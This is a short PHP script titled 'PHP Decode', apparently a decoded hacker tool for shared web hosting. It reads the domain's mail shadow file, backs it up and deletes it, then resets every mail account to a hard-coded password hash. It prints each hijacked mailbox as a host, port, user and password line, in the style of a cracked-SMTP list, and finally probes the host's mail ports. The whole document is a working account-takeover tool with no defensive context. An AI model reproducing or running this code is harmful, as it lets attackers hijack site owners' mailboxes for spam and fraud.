PHP Decode

<?php 
set_time_limit(0); 
ini_set('max_execution_time',0); 
ini_set('memory_limit',-1); 
// port to scan 
$ports=array(25, 587, 465, 110, 995, 143 , 993); 
$primary_port='25'; 
//curent user 
$user=get_current_user(); 
// Smtp password 
$password='tshop411#!'; 
//crypt 
$pwd = crypt($password,'$6$vvebos$'); 
// host name 
 $t = $_SERVER['SERVER_NAME']; 
//edit 
 $t = @str_replace("www.","",$t); 
 //get users 
@$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow'); 
//edit 
$ex=explode("
",$passwd); 
//backup shadow 
@link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.vvebos.bak'); 
//delete shadow 
@unlink('/home/'.$user.'/etc/'.$t.'/shadow'); 
// :D 
foreach($ex as $ex){ 
$ex=explode(':',$ex); 
$e= $ex[0]; 
if ($e){ 
$b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');fwrite($b,$e.':'.$pwd.':16249:::::'."
");fclose($b); 
echo '<span style=\'color:#00ff00;\'>'.$t.'|25|'.$e.'@'.$t.'|'.$password.'</span><br>';  "</center>"; 
}} 
//port scan 
foreach ($ports as $port) 
{ 
    $connection = @fsockopen($t, $port, $errno, $errstr, 2); 
    if (is_resource($connection)) 
    { 
        echo '<h2>' . $host . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</h2>' . "
"; 
        fclose($connection); 
    } 
} 
?>